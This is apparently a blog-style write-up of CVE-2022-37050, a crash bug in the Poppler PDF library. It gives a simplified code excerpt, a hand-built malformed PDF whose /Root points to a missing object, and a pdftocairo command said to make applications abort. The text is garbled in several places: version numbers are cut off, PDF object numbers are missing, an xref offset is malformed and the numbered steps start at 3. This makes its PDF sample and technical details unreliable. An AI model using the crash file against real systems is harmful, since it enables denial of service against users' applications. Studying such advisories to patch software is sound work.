CVE-2022-37050 - Exploiting PDFDoc::savePageAs Crash in Poppler 22.07.

PDF libraries are at the core of many desktop and web PDF viewers. Poppler, a widely-used open-source PDF rendering library, is trusted by applications like Okular, Evince, and many more. However, in version 22.07., Poppler contains a vulnerability (CVE-2022-37050) that allows attackers to crash applications using a crafted PDF file, causing a Denial-of-Service (DoS). In this article, we’ll unpack how this bug works, its roots in an older security issue, and how you can demonstrate (or even exploit) the flaw yourself.

How does it work?

The PDF format describes object locations via a "cross-reference table" (xref). If this table is malformed, the PDF application should handle the error gracefully. Instead, Poppler 22.07. can crash with a SIGABRT (abort signal) when faced with a specially crafted PDF file. This is due to insufficient validation in the patched code dealing with the Catalog object and the xref table.

Technical Explanation (With Code)

When Poppler tries to save a single page to a new PDF (using the savePageAs function), it fetches the Catalog of the PDF. The Catalog is a special dictionary object describing the document's root contents. If the Catalog object can’t be found due to a malformed xref, Poppler still tries to use it — causing an assertion failure or null pointer dereference.

Here’s a simplified version of what happens in Poppler code

Object catDict = getCatalog();
if (catDict.isNull()) {
    error(errSyntaxError, -1, "No Catalog found in PDF file");
    // The code didn’t return or handle the error properly!
}
... // Later code uses catDict, which could be invalid/null

The mistake: The function does not always stop when catDict is null. Further function calls on this invalid object cause a crash.

Remove or tamper with the startxref pointer or the Catalog object's reference.

3. Open or process this file with any Poppler-based tool that uses savePageAs (like pdftoppm or library consumers).

Below is an overly simplified PDF with a broken xref and missing Catalog reference

%PDF-1.4
1  obj
<< /Type /Page /Parent 2  R >>
endobj
2  obj
<< /Type /Pages /Kids [1  R] /Count 1 >>
endobj
xref
 3
000000000 65535 f 
0000000009 00000 n 
0000000075 00000 n 
trailer
<< /Size 3 /Root 99  R >>
startxref
123
%%EOF

Note

- The /Root key (normally pointing to the Catalog object) deliberately points to a non-existing object (99 R).

Suppose we use pdftocairo from Poppler

pdftocairo -singlefile malicious.pdf out.pdf
# Application will crash with SIGABRT

The attacker needs no special privileges — just craft a malicious PDF and convince a user or system process to process it.

Why Did This Happen Again?

This bug is a direct descendant of CVE-2018-20662, which first reported the mishandling of xref tables and the Catalog object. The original patch prevented some but not all cases where a malformed Catalog could cause a crash. CVE-2022-37050 demonstrates that the fix did not cover all the paths, especially in the code for saving single pages.

References

- CVE-2022-37050 at NVD
- Poppler commit log / patch 2022-08-18
- Original CVE-2018-20662
- Poppler official repository

Fix and Mitigation

Poppler maintainers patched this issue by properly checking if the Catalog exists each time before use and returning on error. Upgrade to Poppler 22.08. or later.

Conclusion

CVE-2022-37050 is a classic example of how incomplete patches can leave applications vulnerable, especially with complex data formats like PDF. If you use Poppler or any tool that uses or links it, make sure to update to the latest version — and never trust random files from strangers.

Timeline

Published on: 08/22/2023 19:16:00 UTC
Last modified on: 10/16/2023 14:15:00 UTC